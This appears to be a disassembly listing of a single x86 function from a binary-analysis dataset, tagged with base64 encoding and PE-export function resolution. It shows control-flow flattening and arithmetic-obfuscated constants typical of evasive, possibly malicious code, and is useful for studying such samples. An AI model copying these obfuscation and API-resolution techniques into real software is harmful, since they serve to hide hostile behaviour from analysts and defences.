Function at 0xe30a2f
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x74
mov dword [esp + 0x14], 0xf8e93b
xor edx, edx
mov eax, dword [esp + 0x14]
push ebx
push ebp
push esi
push edi
push 0x41
pop ecx
div ecx
push 0x3d
mov dword [esp + 0x28], eax
xor edx, edx
add dword [esp + 0x28], 0x49cf
xor ebx, ebx
add dword [esp + 0x28], 0xf258
mov esi, 0x7065d3b
xor dword [esp + 0x28], 0x7ff75
mov dword [esp + 0x24], 0x2a6049
or dword [esp + 0x24], 0xbdefb6af
mov eax, dword [esp + 0x24]
pop ecx
div ecx
push 0x3f
mov dword [esp + 0x24], eax
xor edx, edx
xor dword [esp + 0x24], 0x317f8b6
mov dword [esp + 0x58], 0x8cd34c
add dword [esp + 0x58], 0xffff034d
xor dword [esp + 0x58], 0x84796a
mov dword [esp + 0x38], 0xabf34a
xor dword [esp + 0x38], 0xa8dc3479
or dword [esp + 0x38], 0x8166393d
xor dword [esp + 0x38], 0xa97f6b9c
mov dword [esp + 0x54], 0xa67e77
shr dword [esp + 0x54], 0xa
xor dword [esp + 0x54], 0xd48e2
mov dword [esp + 0x44], 0x354816
shr dword [esp + 0x44], 3
shr dword [esp + 0x44], 0x10
xor dword [esp + 0x44], 0x31b36
mov dword [esp + 0x40], 0x6f64ed
shl dword [esp + 0x40], 3
shr dword [esp + 0x40], 0xb
xor dword [esp + 0x40], 0xc52d0
mov dword [esp + 0x3c], 0xae258b
add dword [esp + 0x3c], 0x7a2b
or dword [esp + 0x3c], 0x27c2dc5c
xor dword [esp + 0x3c], 0x27efb82b
mov dword [esp + 0x18], 0x923b3f
add dword [esp + 0x18], 0x1fec
mov eax, dword [esp + 0x18]
pop ecx
div ecx
push 0xa
mov dword [esp + 0x18], eax
xor edx, edx
imul eax, dword [esp + 0x18], 0x66
pop ecx
mov dword [esp + 0x14], eax
xor dword [esp + 0x14], 0xe0b740
mov dword [esp + 0x64], 0x624e
shr dword [esp + 0x64], 7
xor dword [esp + 0x64], 0x80ecf
mov dword [esp + 0x60], 0xf101b5
imul eax, dword [esp + 0x60], 0x72
mov dword [esp + 0x60], eax
xor dword [esp + 0x60], 0x6b5b3f84
mov dword [esp + 0x5c], 0xb222be
add dword [esp + 0x5c], 0xbb0
xor dword [esp + 0x5c], 0xb81171
mov dword [esp + 0x58], 0x9b2242
mov eax, dword [esp + 0x58]
div ecx
mov dword [esp + 0x58], eax
xor dword [esp + 0x58], 0x6232c
mov dword [esp + 0x30], 0x2764eb
shr dword [esp + 0x30], 8
shr dword [esp + 0x30], 0xc
xor dword [esp + 0x30], 0x4067f
mov dword [esp + 0x2c], 0x141af3
or dword [esp + 0x2c], 0xf86f6b46
xor edx, edx
xor dword [esp + 0x2c], 0xb19a0159
xor dword [esp + 0x2c], 0x49e57001
mov dword [esp + 0x1c], 0x160e
or dword [esp + 0x1c], 0x2faa18b7
shr dword [esp + 0x1c], 5
or dword [esp + 0x1c], 0x398bff25
xor dword [esp + 0x1c], 0x39f91fc5
mov dword [esp + 0x44], 0x4e2c62
xor dword [esp + 0x44], 0x44cc00c0
shr dword [esp + 0x44], 6
xor dword [esp + 0x44], 0x111f7b3
mov dword [esp + 0x18], 0x6d1f25
xor dword [esp + 0x18], 0x2161d72d
shl dword [esp + 0x18], 0x10
mov eax, dword [esp + 0x18]
push 0x27
pop ecx
div ecx
push 0x64
mov dword [esp + 0x1c], eax
xor edx, edx
xor dword [esp + 0x1c], 0x52bd883
mov dword [esp + 0x2c], 0x92617c
mov eax, dword [esp + 0x2c]
pop ecx
div ecx
push 0x4d
mov dword [esp + 0x2c], eax
xor edx, edx
shl dword [esp + 0x2c], 0xd
add dword [esp + 0x2c], 0xffff3d0c
xor dword [esp + 0x2c], 0x2ed0b7be
mov dword [esp + 0x50], 0x6cd501
add dword [esp + 0x50], 0x534b
imul eax, dword [esp + 0x50], 0x22
pop ecx
mov dword [esp + 0x4c], eax
xor dword [esp + 0x4c], 0xe7dc582
mov dword [esp + 0x48], 0x2b0f2d
mov eax, dword [esp + 0x48]
div ecx
mov dword [esp + 0x48], eax
xor dword [esp + 0x48], 0x1eaf8522
xor dword [esp + 0x48], 0x1eaab89c
mov edi, dword [esp + 0x68]
mov ebp, dword [esp + 0x68]
cmp esi, 0x9c07702
jg 0xe30e1d
je 0xe30dd8
cmp esi, 0x312a01d
je 0xe30da0
cmp esi, 0x33270af
je 0xe30d72
cmp esi, 0x48fbc3e
je 0xe30d2e
cmp esi, 0x7065d3b
jne 0xe30e89
mov esi, 0xef0dc83
jmp 0xe30ced
push dword [esp + 0x78]
mov eax, dword [0x1002221c]
mov edx, dword [esp + 0x30]
add eax, 0x224
mov ecx, dword [esp + 0x34]
push eax
mov eax, dword [esp + 0x84]
inc eax
push eax
call fcn.00e2e48f
mov eax, dword [0x1002221c]
xor ebx, ebx
mov ecx, dword [esp + 0x80]
add esp, 0xc
inc ebx
mov esi, 0xf293f71
mov dword [eax + 0xc], ecx
jmp 0xe30ced
push dword [esp + 0x50]
mov edx, dword [esp + 0x38]
lea eax, [esp + 0x6c]
mov ecx, dword [esp + 0x58]
push ebp
push eax
call fcn.00e36b6f
mov edi, eax
add esp, 0xc
test edi, edi
je 0xe30e95
mov esi, 0x9c07702
jmp 0xe30ced
push dword [esp + 0x58]
lea eax, [esp + 0x70]
push dword [esp + 0x60]
lea edx, [esp + 0x7c]
push eax
push dword [esp + 0x6c]
mov ecx, dword [esp + 0x74]
call fcn.00e35dd0
add esp, 0x10
mov esi, eax
neg esi
sbb esi, esi
and esi, 0xf5667ccd
add esi, 0xf293f71
jmp 0xe30ced
cmp dword [esp + 0x68], 2
mov esi, 0xa8a4c37
jle 0xe30ced
push dword [esp + 0x14]
lea edx, [esp + 0x74]
push dword [esp + 0x3c]
push dword [esp + 0x44]
push dword [esp + 0x4c]
mov ecx, dword [edi + 8]
call fcn.00e2d51a
add esp, 0x10
mov dword [esp + 0x6c], eax
test eax, eax
je 0xe30ced
mov esi, 0x312a01d
jmp 0xe30ced
cmp esi, 0xa8a4c37
je 0xe30e6f
cmp esi, 0xef0dc83
je 0xe30e56
cmp esi, 0xf293f71
jne 0xe30e89
push dword [esp + 0x6c]
push dword [esp + 0x1c]
mov edx, dword [esp + 0x4c]
mov ecx, dword [esp + 0x24]
call fcn.00e32df8
pop ecx
pop ecx
mov esi, 0xa8a4c37
jmp 0xe30ced
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
call fcn.00e3acb7
mov ebp, eax
mov esi, 0x33270af
jmp 0xe30ced
push dword [esp + 0x48]
mov edx, edi
push dword [esp + 0x50]
mov ecx, dword [esp + 0x30]
call fcn.00e3be95
pop ecx
pop ecx
mov esi, 0xda3838d
cmp esi, 0xda3838d
jne 0xe30ced
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x74
ret